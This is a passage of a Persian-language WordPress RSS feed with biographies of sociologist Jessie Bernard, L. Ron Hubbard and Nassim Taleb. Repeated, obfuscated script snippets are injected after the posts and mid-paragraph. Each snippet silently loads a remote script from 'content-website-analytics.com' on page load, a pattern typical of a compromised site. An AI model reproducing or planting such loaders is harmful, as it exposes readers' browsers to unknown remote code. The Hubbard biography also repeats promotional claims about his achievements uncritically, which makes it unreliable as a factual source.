<p>در این دانشگاه او نه تنها از محیط مهاجرنشین نخستین خود بیرون آمد ، بلكه از آن مهمتر، در زمره كسانی درآمد كه در صدد استقرار جامعه شناسی به عنوان یك حرفه كاملا پذیرفته شده در جامعه دانشگاهی آمریكا برآمده بودند.</p>
<p>جسی برنارد شاگرد سوروكین بود كه پیگیرانه در صدد استقرار رشته جامعه شناسی در دانشگاه هاروارد بود و از محضر ال.ال. برنارد كه در بنیانگذاری مجله جامعه شناسی آمریكا نقش تعیین كننده ای داشت نیز سود جسته بود.</p>
<p>او چهار سال به عنوان دستیار پژوهشی برنارد خدمت كرد و سرانجام در سال ۱۹۲۵ با او ازدواج كرد.</p>
<p>همكاری او با جسی برنارد پایه او را در رهیافت اثباتگرایانه جامعه شناسی به عنوان علم تقویت كرد. او این رهیافت را در کارهای بعدیش رها نكرد و به همین خاطر پیوسته می توانست در كارهایش كه بیش از پیش وجهه ای كیفی و تحلیل انتقادی به خود می گرفت از پژوهشهای كمی با موفقیت سود جوید.</p>
<p>برنارد شوهرش كه در دانشگاه های مختلف امریكا مقام هایی را به دست آورد همیشه همراه بود.</p>
<p>او دكترای جامعه شناسی را در سال ۱۹۳۵ از <a href="http://www.washington.edu/">دانشگاه واشینگتن</a> سنت لوییز گرفت. در میانه دهه ۱۹۴۰ برناردها در دانشگاه ایالتی پنسیلوانیا كار می كردند و جسی در بحبوحه رشد اثباتگرایی خود به سر می برد.</p>
<p>رویگردانی جسی از اثباتگرایی در واكنش به رویدادهای جنگ جهانی دوم اتفاق افتاد. بلای نازیسم اعتقاد او را به گنجایش علم برای دانستن و ایجاد یك جهان عادلانه بر باد داد.</p>
<p><img class="aligncenter wp-image-6712 size-medium" src="https://theorium.net/wp-content/uploads/2022/10/ghab-Site-300x300.png" alt="" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2022/10/ghab-Site-300x300.png 300w, https://theorium.net/wp-content/uploads/2022/10/ghab-Site-150x150.png 150w, https://theorium.net/wp-content/uploads/2022/10/ghab-Site-100x100.png 100w, https://theorium.net/wp-content/uploads/2022/10/ghab-Site-120x120.png 120w, https://theorium.net/wp-content/uploads/2022/10/ghab-Site.png 600w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<p>در ضمن باعث شد كه رشد ریشه های كلیمی مهاجرش را دوباره مورد بررسی قرار دهد. این تجارب حساسیت جسی را نسبت به زمینه اجتماعی همه دانش ها تشدید كردند و به تدریج او را به موضع فمینیستی سوق دادند.</p>
<p>جسی برنارد در آغاز این گسستن از اثباتگرایی در میانه دهه ۱۹۴۰ در دانشگاه پنسیلوانیا مقام دانشگاهی مستقلی به دست آورد. شوهرش در ۱۹۵۱ درگذشت، ولی خودش تا سال ۱۹۶۰ در همین دانشگاه باقی ماند و به تدریس ، نوشتن و بزرگ كردن سه فرزندش ادامه داد.</p>
<p>در اوائل دهه ۱۹۶۰ جسی پیوسته در میان واشینگتن دی سی و دانشگاه پنسیلوانیا در رفت و آمد بود. اما سرانجام زندگی دانشگاهی را ترك گفت تا تمام وقتش را به نوشتن و تحقیق اختصاص دهد. پایگاه محلی او از میانه دهه ۱۹۶۰ واشینگتن دی سی بود،هرچند كه سمت افتخاری استاد ممتاز دانشگاه پنسیلوانیا را نیز یدك می كشید.</p>
<p>بدین سان دو دهه پس از جنگ جهانی دوم شاهد دوره دیگری از رشد و شكوفائی برنارد بود،دوره ای كه طی آن هویت حرفه ای مستقل از شوهرش به دست آورد و سپس خودش را از گرفتاریهای مرسوم دانشگاه خلاص كرد و بیش از پیش درصدد طرد علنی جامعه شناسی به عنوان یك علم اثباتگرا برآمد.</p>
<p>اما درخشانترین دوره رشد و شكوفائی جسی برنارد از ۱۹۶۴ به بعد بوده است.این واقعیت هم از جهت كیفیت و كمیت بازدهی برنارد و هم به عنوان نموداری از الگوی حرفه ای زندگی زنان،اهمیت دارد.</p>
<p>برنارد در این دوره دوازده كتاب و نیز مقالات و سخنرانیهای بیشماری را منتشر كرد و خودش را به عنوان یكی از صاحبنظران برجسته جامعه شناسی جنسیت شناساند. واكنش او در برابر سمتهای رهبری نیز با همین الگوی رشد و شكوفائی مشخص شده است. او نقشهای رهبری سنتی مانند ریاست انجمن جامعه شناسی امریكا را رد كرد تا بتواند بیشتر وقتش را به پژوهش نگارش و درگیری هر چه بیشتر در جنبش زنان اختصاص دهد.</p>
<p>در این دوره نوشته های اولیه خود را درباره خانواده و جنسیت مورد تجدید نظر قرار داد و به تدریج به سوی یك تفسیر فمینیستی روی آورد.</p>
<p>علاقه برنارد به زندگی زنان توانائی او را در بازاندیشی علایق اساسی در چهارچوب زمینه های نوین فكری نمودار می سازد. او از اواخر دهه ۱۹۳۰ پیوسته سرگرم بررسی و نوشتن درباره زندگی زنان بوده است.</p>
<p>آثار عمده برنارد عبارتند از:</p>
<ul>
<li>رفتار خانوادگی آمریكا(۱۹۴۲)</li>
<li>زناشوئی و خانواده در میان سیاهان آمریكا(۱۹۵۶)</li>
<li>ازدواج مجدد: یك بررسی درباره زناشوئی(۱۹۵۷)</li>
<li>زنان دانشگاهی(۱۹۶۴)</li>
<li>بازی جنسی: ارتباط میان دو جنس(۱۹۶۸)</li>
<li>زنان و مصلحت همگانی:رساله هایی درباره خط مشی و اعتراض(۱۹۷۱)</li>
<li>آینده مادر بودن(۱۹۷۴)</li>
<li>زنان،همسران،مادران: ارزشها و گزینش ها(۱۹۷۵)</li>
<li>جهان زنانه(۱۹۸۰)</li>
<li>آینده زناشوئی(۱۹۸۲)</li>
<li>جهان زنانه در یك چشم انداز جهانی(۱۹۸۷)</li>
<li>و روشن اندیشی فمینیستی. . .</li>
</ul>
<p>آثار او با چهار خصلت اساسی مشخص می شوند، یك آن كه برنارد پیوسته می توانسته است از داده های سطح كلان برای رسیدن به نتیجه گیری های سطح خرد درباره كنش متقابل و تجربه ذهنی بهره برداری كند.</p>
<p>دیگر آن كه او اهمیت تجربه ذهنی را در استقرار ساختارهای اجتماعی دانش و ضرورت روش شناختی بررسی زندگی گروههای نامریی در چهارچوب جامعه شناسی سنتی خانواده، كنجكاویش را به بررسی زنان در چهارچوب جامعه شناسی جنسیت و سپس به سوی یك جامعه شناسی فمینیستی و انتقادی، سوق داده است.</p>
<p>برنارد افتخارات متعددی را در كارنامه اش به ثبت رسانده است و شاید بزرگترین افتخارش این باشد كه جایزه های گوناگونی را به اسم خود اختصاص داده است،جایزه هائی كه به گفته لیپمن بلومن مشخصه كسانی اند كه مانند خود جسی برنارد از نظر فكری و حرفه ای و نیز انسانی خدمات شایانی به جهان پژوهشگری و فمینیسم كرده اند.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%ac%d8%b3%db%8c-%d8%a8%d8%b1%d9%86%d8%a7%d8%b1%d8%af/">جسی برنارد ؛ نظریه پردازی با برچسب فمینیست</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%ac%d8%b3%db%8c-%d8%a8%d8%b1%d9%86%d8%a7%d8%b1%d8%af/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>ران هوبارد ؛ نظریه پرداز ساينتولوژي یا داستان نویس</title>
		<link>https://theorium.net/%d8%b1%d8%a7%d9%86-%d9%87%d9%88%d8%a8%d8%a7%d8%b1%d8%af-%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%be%d8%b1%d8%af%d8%a7%d8%b2-%d8%b3%d8%a7%d9%8a%d9%86%d8%aa%d9%88%d9%84%d9%88%da%98%d9%8a/</link>
					<comments>https://theorium.net/%d8%b1%d8%a7%d9%86-%d9%87%d9%88%d8%a8%d8%a7%d8%b1%d8%af-%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%be%d8%b1%d8%af%d8%a7%d8%b2-%d8%b3%d8%a7%d9%8a%d9%86%d8%aa%d9%88%d9%84%d9%88%da%98%d9%8a/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Wed, 27 Jan 2021 13:53:26 +0000</pubDate>
				<category><![CDATA[چهره ها]]></category>
		<category><![CDATA[ویکی تئوری]]></category>
		<category><![CDATA[بیوگرافی]]></category>
		<category><![CDATA[تئوری]]></category>
		<category><![CDATA[حقیقت]]></category>
		<category><![CDATA[ذات]]></category>
		<category><![CDATA[ران هوبارد]]></category>
		<category><![CDATA[ساينتولوژي]]></category>
		<category><![CDATA[غرب]]></category>
		<category><![CDATA[نظریه پرداز]]></category>
		<category><![CDATA[نویسنده]]></category>
		<category><![CDATA[هزاره ی سوم]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6470</guid>

					<description><![CDATA[<p>ران هوبارد ؛ نظریه پرداز ساينتولوژي یا داستان نویس ران هوبارد و پرداختن به بيوگرافي او از آن جهت اهميت دارد و با ارزش است كه او زماني تئوري ‌هاي خود را  در غرب در موضوع حقيقت ذات انسان كه همانا روح بودن است، مطرح ‌كرد كه تقريباً باطن گرايي از بين مردم غرب رخت [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%b1%d8%a7%d9%86-%d9%87%d9%88%d8%a8%d8%a7%d8%b1%d8%af-%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%be%d8%b1%d8%af%d8%a7%d8%b2-%d8%b3%d8%a7%d9%8a%d9%86%d8%aa%d9%88%d9%84%d9%88%da%98%d9%8a/">ران هوبارد ؛ نظریه پرداز ساينتولوژي یا داستان نویس</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h6>ران هوبارد ؛ نظریه پرداز ساينتولوژي یا داستان نویس</h6>
<p>ران هوبارد و پرداختن به بيوگرافي او از آن جهت اهميت دارد و با ارزش است كه او زماني تئوري ‌هاي خود را  در غرب در موضوع حقيقت ذات انسان كه همانا روح بودن است، مطرح ‌كرد كه تقريباً باطن گرايي از بين مردم غرب رخت بربسته بود.</p>
<p>در فضاي غرب هيچ سخني از روح و روح ‌گرايي و ذهن به ميان نمي آمد. به همين دليل با وجود گروه‌ هاي بسياري كه با تئوري ها و نظريات و راه هوبارد موافق نبوده و آنها را رد مي كردند، مكتب او خيلي سريع در ميان مردم غرب محبوبيت يافت و جاي خوبي باز كرد.</p>
<p>اگر چه مكتب او دور از نواقص و اشكالات  نبود ولي توانست تا حدودي موجب احياي نسبي باطن گرايي در غرب گردد.</p>
<h6><strong>ران‌ هوبارد</strong> <strong> و سفر</strong></h6>
<p>ران‌ هوبارد در عنفوان جواني، کار خود را با ماجراجويي‌ ها و سفرهاي بسياري آغاز کرد.</p>
<p>او مي ‌دانست که براي يافتن پاسخ پرسش‌ هايش نبايد در کنجي بنشيند. به گفته خودش: «كسي نمي‌تواند در کاخي از عاج بنشيند و دربارة زندگي به تفکر بپردازد. بلكه زماني مي تواند از زندگي چيزي بياموزد که جزئي از آن باشد.»</p>
<p>اين ديدگاه، زندگي ران هوبارد را تحت‌ الشعاع قرار داد و منجر به کشفيات بسياري برايش شد.</p>
<p>&nbsp;</p>
<h6><strong>ران‌ هوبارد  و خانواده</strong></h6>
<p>ران هوبارد در ۱۳ مارس ۱۹۱۱ در تيلدن نبراسکا ديده به جهان گشود. پدرش «هري راس هوبارد»  فرماندة نيروي دريايي و مادرش «لدورامي هوبارد» نام داشت.</p>
<p>ران هوبارد ۲ ساله بود که خانواده اش مقيم مزرعه اي خارج از شهر هلنا مركز ايالت مونتانا شدند.</p>
<p>در آن دوران، ران با سرخ ‌پوستي به نام «تام‌ِ پير» دوستي نزديکي را آغاز كرد. پيرمرد، كه داروهاي گياهي مي‌ ساخت، بسياري از اسرار قبيله، افسانه‌ ها و داستان هاي مردمان آن منطقه را براي ران تعريف كرد و او را با آداب و رسوم‌ و فرهنگ سرخ‌ پوستان آشنا ساخت.</p>
<p>پيرمرد به او ياد داد که چگونه در محيطي خشن زنده بماند و زندگي کند.</p>
<p>در سال ۱۹۲۷، زماني كه ران ۱۶ سال داشت، سفرهاي خود را به آسياي مركزي آغاز کرد. او در طي سفرهايش با جادوگران چيني و ديوان گوبلاي‌ خان آشنا شد. در چين پاي صحبت مردان فهيم و انديشمند بسياري نشست و مشتاقانه نکات بسياري از آنها آموخت.</p>
<p>در تپه ‌هاي جنوبي چين با بوديسم و راهباني آشنا شد كه مديتيشن مي کردند و به تعمق مي‌ پرداختند.</p>
<h6><strong>چرا بشر با اين همه رنج و بدبختي دست به گريبان است؟</strong></h6>
<p>ران هوبارد به هر کجا که سفر مي‌کرد يک سؤال بسيار مهم داشت: «چرا؟ چرا بشر با اين همه رنج و بدبختي دست به گريبان است؟ چرا بشري که اين همه دانش کهن اندوخته و کتاب ‌ها و متون و معابد بسياري دارد، قادر به حل مسايل پايه ‌اي خود هم نيست؟»</p>
<p>براي ران، دنيا همانند کلاس درس بود و او حريصانه به دنبال يافتن و جستجو به هر کجا سفر مي‌کرد.</p>
<p>علاوه بر اين‌ که چيزي مي‌آموخت، چيزهايي هم به ديگران ياد مي‌داد اما پاسخ پرسش‌ هايش را نمی ‌يافت.</p>
<p>ران هوبارد در سال ۱۹۲۹ به آمريکا بازگشت و در رشتة رياضي مهندسي دانشگاه جورج واشنگتن به تحصيل ادامه داد و نفر اول در فيزيک اتمي آن دانشگاه شد.</p>
<p>او بزودي متوجه شد كه دانشگاه قادر به پاسخ گويي سؤالاتش نيست و حتي در بخش ‌هاي فرا روانشناسي هم کسي در پيِ مسائلي که ران به دنبال آنها مي گشت، نبود. از اين ‌رو دانشگاه را ترک کرد و تصميم گرفت معنا و مفعوم زندگي را در دنياي واقعي دنبال کند.</p>
<p>او به اين نتيجه رسيده بود که انسان (غربي) علي رغم پيشرفت ‌اش در مسايل مربوط به جهان مادي، در زمينة چگونه انديشيدن و زندگي كردن و شيوه‌ هاي کاربردي آن، پيشرفتي نکرده است.</p>
<p>او روش‌ هاي رواني موجود مثل روان ‌شناسي و روانکاوي را هم‌ چنان ابتدايي و باعث گمراهي مردم‌ يافت. بنابراين خود را مسئول دانست تا فاصلة ايجاد شده بين علم و کارايي آن را پر كند.</p>
<h6>ران هوبارد و داستان­ نویسی</h6>
<p>او مجدداً سفرهاي خود را آغاز کرد. ران هوبارد براي تأمين مخارج تحقيقات اولية خود داستان مي ‌نوشت، او يکي از معروف ترين و پرخواننده ‌ترين نويسندگان داستان ‌هاي ماجراجويانه علمي، بين سال‌هاي ۱۹۳۰ تا ۱۹۴۰ می ‌باشد.</p>
<p>پس از آغاز جنگ جهاني دوم‌، کار تحقيقاتي هوبارد به تعويق افتاد. اما در سال ۱۹۳۸ با معرفي تئوري جديدي، بيش از پيش مطرح گرديد</p>
<p>او براي اولين بار در سال ۱۹۴۷ جزئيات يافته ‌هايش را به روي كاغذ آورد اما آن ‌ها را چاپ نکرد و تنها نسخه‌ اي از آن ‌ها را به دوستانش داد.</p>
<p>اين نسخه كه دست به دست مي گشت، باعث شد تا سيلي از درخواست ‌ها براي اطلاعات بيشتر دربارة موضوعات مطرح شده، به سمت او سرازير شود. ران سعي كرد يافته‌ هايش را در اختيار انجمن‌ هاي روانپزشکي و پزشکي آمريکا قرار دهد.</p>
<p>اما علي ‌رغم اين‌که يافته ‌هايش مي ‌توانست براي آنها مفيد باشد، از قبول کمک به وي سرباز زدند.</p>
<p>زيرا به نظر مي‌رسيد که يافته‌ هاي او منافع آنها را تهديد مي‌كند. پس شروع به مخالفت با وي و عقايدش نمودند. به همين دليل او تصميم گرفت تا يافته ‌هاي خود را در اختيار عموم قرار دهد.</p>
<p>در نهم ماه مه ۱۹۵۰ شيوة نويني که ران ارائه كرده بود، در کتابي تحت عنوان « ديانتيک: روش نوين شفاي روحي» انتشار يافت و به صورتي گسترده در دسترس عموم قرار گرفت. ديانتيک هيجان زيادي را در بين مردم غرب برانگيخت.</p>
<h6>ران هوبارد و فلسفه ساینتولوژی</h6>
<p><a href="https://theorium.net/category/%d9%88%db%8c%da%a9%db%8c-%d8%aa%d8%a6%d9%88%d8%b1%db%8c/%da%86%d9%87%d8%b1%d9%87-%d9%87%d8%a7/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-6472" src="https://theorium.net/wp-content/uploads/2021/01/Ron-hubbard-300x300.jpg" alt="Ron hubbard" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2021/01/Ron-hubbard-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2021/01/Ron-hubbard-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2021/01/Ron-hubbard-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2021/01/Ron-hubbard-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2021/01/Ron-hubbard.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p>در پائيز ۱۹۵۱‌، هوبارد فلسفه <a href="https://theorium.net/%d9%85%da%a9%d8%aa%d8%a8-%d8%b3%d8%a7%db%8c%d9%86%d8%aa%d9%88%d9%84%d9%88%da%98%db%8c/" target="_blank" rel="noopener noreferrer">ساينتولوژي</a> را در ادامة ايدة فاکتور «x» و برمبناي اعتقاد به اينکه انسان موجودي روحي است، معرفي نمود. ران هوبارد در سال ۱۹۵۹ به همراه خانواده ‌اش به انگلستان نقل مكان نمود.</p>
<p>در ۴ فوريه ۱۹۶۳ وزارت غذا و دارو آمريکا (FDA) به دفتر ساينتولوژي حمله کرد و بسياري از وسايل اندازه‌گيري و تجهيزاتي كه در تکنيک ‌هاي مشاورة ساينتولوژي مورد استفاده قرار مي‌گرفتند را به جرم قانوني نبودن و نداشتن استانداردهاي پزشکي توقيف نمود.</p>
<p>در دهة ۱۹۷۰ نيز معابد و انجمن‌ هاي بسياري مربوط به ساينتولوژي مورد حمله قرار گرفتند. در سال ۱۹۷۷،  FBI برخي افراد برجسته را به جرم دزدي اطلاعات از اسناد محرمانة دولتي محکوم کرد.</p>
<p>ران هوبارد در ۲۴ ژانويه ۱۹۸۶ درگذشت و بعد از وي «ديويد ميسکاويگ» رهبري اين مرکز را برعهده گرفت. اما تحقيقات ران هوبارد، با مرگ وي به پايان نرسيد.</p>
<p>گروه موضوعی ← علوم باطنی</p>
<ul>
<li>نظریه های ارایه شده ← دیانتیک ۱۹۵۰ ، ساینتولوژی ۱۹۵۱</li>
<li>تاریخ (ارائه نظریه یا بازه زندگی) ← ۱۹۱۱-۱۹۸۶</li>
</ul>
<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%b1%d8%a7%d9%86-%d9%87%d9%88%d8%a8%d8%a7%d8%b1%d8%af-%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%be%d8%b1%d8%af%d8%a7%d8%b2-%d8%b3%d8%a7%d9%8a%d9%86%d8%aa%d9%88%d9%84%d9%88%da%98%d9%8a/">ران هوبارد ؛ نظریه پرداز ساينتولوژي یا داستان نویس</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%b1%d8%a7%d9%86-%d9%87%d9%88%d8%a8%d8%a7%d8%b1%d8%af-%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%be%d8%b1%d8%af%d8%a7%d8%b2-%d8%b3%d8%a7%d9%8a%d9%86%d8%aa%d9%88%d9%84%d9%88%da%98%d9%8a/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>نیکولاس طالب؛ پژوهشگر و نویسنده ی لبنانی – آمریکایی</title>
		<link>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%be%d8%b1%d8%af%d8%a7%d8%b2%d8%a7%d9%86-%d9%87%d8%b2%d8%a7%d8%b1%d9%87-%d8%b3%d9%88%d9%85-%d9%86%db%8c%da%a9%d9%88%d9%84%d8%a7%d8%b3-%d8%b7%d8%a7%d9%84%d8%a8/</link>
					<comments>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%be%d8%b1%d8%af%d8%a7%d8%b2%d8%a7%d9%86-%d9%87%d8%b2%d8%a7%d8%b1%d9%87-%d8%b3%d9%88%d9%85-%d9%86%db%8c%da%a9%d9%88%d9%84%d8%a7%d8%b3-%d8%b7%d8%a7%d9%84%d8%a8/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Thu, 09 Apr 2020 09:12:55 +0000</pubDate>
				<category><![CDATA[چهره ها]]></category>
		<category><![CDATA[ویکی تئوری]]></category>
		<category><![CDATA[آمریکایی]]></category>
		<category><![CDATA[ارتودوکس]]></category>
		<category><![CDATA[پژوهشگر]]></category>
		<category><![CDATA[تابعیت فرانسوی]]></category>
		<category><![CDATA[لبنانی]]></category>
		<category><![CDATA[نظریه پردازان هزاره ی سوم]]></category>
		<category><![CDATA[نویسنده]]></category>
		<category><![CDATA[نیکولاس طالب]]></category>
		<category><![CDATA[یونانی]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5107</guid>

					<description><![CDATA[<p>نیکولاس طالب؛ پژوهشگر و نویسنده ی لبنانی – آمریکایی از نظریه پردازان هزاره ی سوم نیکولاس طالب ؛ پژوهشگر و نویسنده ی لبنانی – آمریکایی، متولد ۱۹۶۰ در لبنان است. والدینش لبنانی های ارتودوکس یونانی، و دارای تابعیت فرانسوی بودند. پدر نسیم نیکولاس طالب فیزیکدان، تومور شناس و پژوهشگر در حوزه ی انسان شناسی بود [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%be%d8%b1%d8%af%d8%a7%d8%b2%d8%a7%d9%86-%d9%87%d8%b2%d8%a7%d8%b1%d9%87-%d8%b3%d9%88%d9%85-%d9%86%db%8c%da%a9%d9%88%d9%84%d8%a7%d8%b3-%d8%b7%d8%a7%d9%84%d8%a8/">نیکولاس طالب؛ پژوهشگر و نویسنده ی لبنانی – آمریکایی</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h6>نیکولاس طالب؛ پژوهشگر و نویسنده ی لبنانی – آمریکایی از <a href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%be%d8%b1%d8%af%d8%a7%d8%b2%d8%a7%d9%86-%d9%87%d8%b2%d8%a7%d8%b1-%d8%b3%d9%88%d9%85%d8%9b-%d8%a7%d8%af%d9%88%d8%a7%d8%b1%d8%af-%d8%af%d9%88%d8%a8%d9%88%d9%86%d9%88/" target="_blank" rel="noopener noreferrer">نظریه پردازان هزاره ی سوم</a></h6>
<p>نیکولاس طالب ؛ پژوهشگر و نویسنده ی لبنانی – آمریکایی، متولد ۱۹۶۰ در لبنان است. والدینش لبنانی های ارتودوکس یونانی، و دارای تابعیت فرانسوی بودند.</p>
<p>پدر نسیم نیکولاس طالب فیزیکدان، تومور شناس و پژوهشگر در حوزه ی انسان شناسی بود و هر دو خاندان پدری و مادری وی، در حوزه ی سیاست فعال بودند.</p>
<p>نیکولاس طالب مدرک کارشناسی و کارشناسی ارشدش را در علوم از دانشگاه پاریس گرفت. او همچنین دارای مدرک MBA از دانشگاه پنسیلوانیا و دکترا در رشته ی Management Science از دانشگاه پاریس است.</p>
<p>وی همچنین به جز عربی، انگلیسی و فرانسه  با زبان های متعددی نظیر ایتالیایی، اسپانیایی، یونانی کلاسیک، لاتین، آرامی و عبری باستان آشنایی دارد.</p>
<p>وی پس از مدتی کار تجاری، در کنار این فعالیت، در حوزه های نظری احتمالات و عدم قطعیت متمرکز گردید که حاصلِ آن، در کنار مقالات متعدد، به طور خاص دو کتاب قوی سیاه ( ۲۰۰۷ تا ۲۰۱۰ ) و Antifragile ( 2012 ) بوده است.</p>
<p>تمرکز کاری وی در حوزه ی پژوهشی بر مقولات &#8220;تصمیم سازی تحتِ شرایطِ عدم قطعیت&#8221; و مسایل فلسفی و فنی در زمینه ی احتمالات و فرااحتمالات بوده است.</p>
<p><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5811" src="https://theorium.net/wp-content/uploads/2020/04/Nassim-Nicholas-Taleb-index-300x300.jpg" alt="Nicholas Taleb" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/04/Nassim-Nicholas-Taleb-index-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/04/Nassim-Nicholas-Taleb-index-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/04/Nassim-Nicholas-Taleb-index-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/04/Nassim-Nicholas-Taleb-index-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/04/Nassim-Nicholas-Taleb-index-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/04/Nassim-Nicholas-Taleb-index.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6>در جهانی غیرِ قابلِ ادراک چه باید کرد</h6>
<p>به طور خلاصه می توان تمرکز پژوهشیِ او را در این مقوله خلاصه کرد : &#8220;در جهانی غیرِ قابلِ ادراک چه باید کرد. &#8221;</p>
<p>در کتابِ قوی سیاه او به این مقوله می پردازد که ما هرگز نبايد امكان يا اهميت رويدادهاي نادر و غيرقابل پيش‌‌‌بيني را ناديده بگيريم.</p>
<p>او در این مورد با استفاده از مثال قوی سیاه چنین می گوید:</p>
<p>&#8220;قبل از اينكه اروپايي‌‌‌ها استراليا را كشف كنند، هيچ دليلي وجود نداشت تا باور كنيم قوهايي به رنگي غير از رنگ سفيد هم مي‌‌‌توانند وجود داشته باشند.&#8221;</p>
<p>اما با كشف استراليا، قوهاي سياه در آنجا ديده شد و در باورهاي خويش تجديدنظر كرديم. ايده من در كتاب قوي سياه اين است كه مردم را مجبور سازم درباره ناشناخته‌‌‌ها و قدرت و صلابت ناشناخته‌‌‌ها تفكر و تامل كنند، خصوصا دسته معيني از رويدادها كه نمي‌‌‌توانيم به تصور و خيال درآوريم، اما مي‌‌‌توانند هزينه بسيار زيادي برايمان داشته باشند: رويدادهاي نادر، اما با تاثيري عظيم.&#8221;</p>
<p>وی در حال حاضر همچنین استاد موسسه ی پلی تکنیکِ دانشگاه نیویورک است.</p>
<h6></h6>
<p>o  گروه موضوعی ←علوم انسانی<br />
o  نظریه‌های ارائه شده ←نظریه قوی سیاه<br />
o  تاریخ (ارایه نظریه یا بازه زندگی) ←متولد  ۱۹۶۰ میلادی<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%be%d8%b1%d8%af%d8%a7%d8%b2%d8%a7%d9%86-%d9%87%d8%b2%d8%a7%d8%b1%d9%87-%d8%b3%d9%88%d9%85-%d9%86%db%8c%da%a9%d9%88%d9%84%d8%a7%d8%b3-%d8%b7%d8%a7%d9%84%d8%a8/">نیکولاس طالب؛ پژوهشگر و نویسنده ی لبنانی – آمریکایی</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%be%d8%b1%d8%af%d8%a7%d8%b2%d8%a7%d9%86-%d9%87%d8%b2%d8%a7%d8%b1%d9%87-%d8%b3%d9%88%d9%85-%d9%86%db%8c%da%a9%d9%88%d9%84%d8%a7%d8%b3-%d8%b7%d8%a7%d9%84%d8%a8/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>